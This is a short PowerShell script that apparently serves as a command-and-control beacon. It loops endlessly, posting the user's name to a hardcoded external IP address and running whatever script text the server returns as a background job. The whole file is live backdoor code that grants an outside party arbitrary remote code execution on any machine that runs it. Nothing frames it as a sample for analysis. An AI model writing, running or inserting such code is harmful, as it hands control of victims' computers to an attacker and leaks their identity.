while ($true) {
    try {
        $r = Invoke-RestMethod -Uri 'http://89.117.79.31:80/657/8ccf3006-950e-4b9d-96da-340cc95f16f8' -Method 'POST' -Body '' -Headers @{
                                                                        "x-guid" = ''
                                                                        "x-name" = $env:USERNAME
                                                                    }
        if ($r -ne '') {
            Start-Job ([ScriptBlock]::Create($r))
        }
    }
    catch {
        break;
    }
    Start-Sleep 2
}